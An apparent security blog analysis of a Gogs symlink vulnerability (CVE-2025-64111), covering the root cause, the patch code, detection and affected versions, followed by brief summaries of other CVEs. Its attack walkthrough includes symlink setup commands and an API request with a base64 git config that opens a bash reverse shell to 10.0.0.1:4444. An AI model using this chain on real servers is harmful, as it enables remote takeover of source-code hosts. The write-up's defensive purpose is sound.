Feb 10, 2026·5 min read·154 visits
Gogs failed to recursively validate symbolic links in its file update API. Attackers can push a symlink to a repo, use the API to write through that link into `.git/config`, and achieve RCE via the `core.sshCommand` vector.
A critical Remote Command Execution (RCE) vulnerability in Gogs allows attackers to bypass directory restrictions via symbolic links. By tricking the API into writing to a symlink pointing at `.git/config`, an attacker can inject malicious Git configurations and execute arbitrary commands on the server.
There is a special place in a security researcher's heart for "failed patches." It’s that moment when a vendor fixes a vulnerability, pats themselves on the back, and completely misses the adjacent variation of the same bug. CVE-2025-64111 is exactly that—a zombie vulnerability rising from the grave of CVE-2024-56731.
Gogs, the lightweight, self-hosted Git service written in Go, had a problem. They knew users shouldn't be able to modify the internal .git directory via the API. They added checks. They added barriers. But they forgot one of the oldest tricks in the Unix handbook: Symbolic Links.
This isn't just a file overwrite bug; it's a logic flaw in how the application perceives the filesystem versus how the Operating System executes file operations. By exploiting this disconnect, we turn a simple "Update File" API endpoint into a full-blown Remote Command Execution (RCE) vector.
The root cause lies in a classic Time-of-Check to Time-of-Use (TOCTOU) discrepancy, specifically involving path resolution. The Gogs API endpoint PUT /api/v1/repos/{owner}/{repo}/contents/{filepath} allows users to update files in a repository. To prevent sabotage, Gogs checks if the target path is inside .git/ or other sensitive areas.
However, this check was superficial. It looked at the string of the filepath provided in the URL. If I request to update my_innocent_file.txt, the validator smiles and lets me pass. It fails to check if my_innocent_file.txt is actually a symbolic link pointing to .git/config.
When the Go backend executes os.WriteFile (or similar write operations), the OS standard library transparently follows symbolic links. The application thinks it's writing to a user file; the OS resolves the pointer and overwrites the repository's configuration. This is like checking an ID card at the front door but ignoring the tunnel dug straight into the bank vault.
Let's look at why the code failed and how it was fixed. The vulnerability existed because the validation logic didn't walk the filesystem tree. It trusted the path name.
The fix introduced in version 0.13.4 forces a recursive check. The developers added a helper function, hasSymlinkInPath, which splits the path into segments and runs os.Lstat on every single one of them. If any part of the chain is a symlink, the operation is aborted.
Here is the logic that killed the bug:
// The fix: explicitly walking the path to find symlinks
func hasSymlinkInPath(base, relPath string) bool {
parts := strings.Split(filepath.ToSlash(relPath), "/")
for i := range parts {
// Construct path segment by segment
filePath := path.Join(append([]string{base}, parts[:i+1]...)...)
// Lstat reads the file info without following links
if osutil.IsSymlink(filePath) {
return true
}
}
return false
}This is a heavy operation—it requires multiple syscalls for every file write—but in a security context involving user-controlled filesystems, it is the only way to be sure you aren't writing where you shouldn't.
So we can overwrite .git/config. How do we get a shell? We use the core.sshCommand configuration option. This setting tells Git: "When you need to connect to a remote server via SSH, run this command instead of the default ssh binary."
Here is the attack chain:
Preparation: The attacker creates a Git repository locally.
The Trap: They create a symbolic link named innocent.txt pointing to .git/config and push this to the Gogs server.
ln -s .git/config innocent.txt
git add innocent.txt; git commit -m "oops"; git pushThe Trigger: The attacker uses the Gogs API to "update" innocent.txt. They send a payload containing a malicious Git config.
PUT /api/v1/repos/victim/repo/contents/innocent.txt
{
"content": "W2NvcmVdCiAgc3NoQ29tbWFuZCA9IC9iaW4vYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDAmMSc=",
"message": "Updating documentation"
}(The Base64 decodes to [core] sshCommand = /bin/bash -c ...)
Execution: The attacker triggers any server-side Git operation that requires a remote connection (like a mirror sync or a test hook). Gogs executes git fetch, which reads the config, sees sshCommand, and executes the reverse shell.
This is a CVSS 9.3 for a reason. Gogs is often used to host proprietary source code, credentials, and CI/CD configurations.
Remote Command Execution on the Gogs server usually means:
Since the exploit requires authentication (to push the repo and call the API), it is technically "Post-Auth," but given that Gogs instances often have open registration or many low-privileged users, the barrier to entry is dangerously low.
If you are running Gogs <= 0.13.3, you are vulnerable. The fix is available in version 0.13.4 and the 0.14.0+dev branch.
find /path/to/gogs-repositories -name config -type f -exec grep -H "sshCommand" {} \;sshCommand in any repo config that you didn't put there, you have been compromised.CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Gogs Gogs | <= 0.13.3 | 0.13.4 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-59 (Link Resolution) |
| Attack Vector | Network (API) |
| CVSS Score | 9.3 (Critical) |
| Impact | Remote Command Execution (RCE) |
| Exploit Status | PoC Available |
| Vector | Symlink Path Traversal |
Improper Link Resolution Before File Access ('Link Following')
CVE-2026-12243 is a path traversal vulnerability in the Natural Language Toolkit (NLTK) version 3.9.4. The flaw exists because the input validation routine fails to account for percent-encoded directory traversal sequences like '..%2f' before passing them to urllib.request.url2pathname(), which decodes them into active traversal sequences.
CVE-2026-73654 is a high-severity prototype pollution vulnerability in Trigger.dev. The flaw occurs during the handling of run-metadata updates through the PUT /api/v1/runs/:runId/metadata endpoint. Because user-supplied keys are parsed directly by the @jsonhero/path library without sanitization, an authenticated attacker with low privileges can pollute the global Object.prototype. This causes database queries via Prisma ORM to fail validation and induces unhandled exceptions in the Prometheus metrics client, resulting in a process-wide denial of service.
CVE-2026-73559 is an uncontrolled resource consumption vulnerability in the vLLM engine, specifically within the /v1/completions API endpoint, allowing authenticated attackers to cause application-level denial of service via unbounded prompt arrays.
A critical security bypass vulnerability in Argo Workflows allows authenticated attackers with workflow submission privileges to bypass 'Strict' or 'Secure' template referencing restrictions. By injecting unvalidated fields into the nested ArtifactGC configuration, attackers can execute arbitrary pod patches, leading to host namespace escape and cluster-wide privilege escalation.
A Server-Side Request Forgery (SSRF) / Confused Deputy vulnerability has been identified in Pydantic AI UI Adapters (such as VercelAIAdapter). Under certain conditions, a malicious client can supply manipulated message history with provider metadata that forces the server to resolve files within privileged cloud environments (AWS S3, Google Cloud Storage) or model providers. This occurs because the adapters deserialize client-provided metadata structures directly into UploadedFile instances without validation, which are subsequently fetched using high-privilege server credentials.
A path traversal vulnerability in the optional dashboard server of atomic-agents-stack before version 1.1.0 allows unauthenticated remote attackers to read arbitrary files from the host filesystem.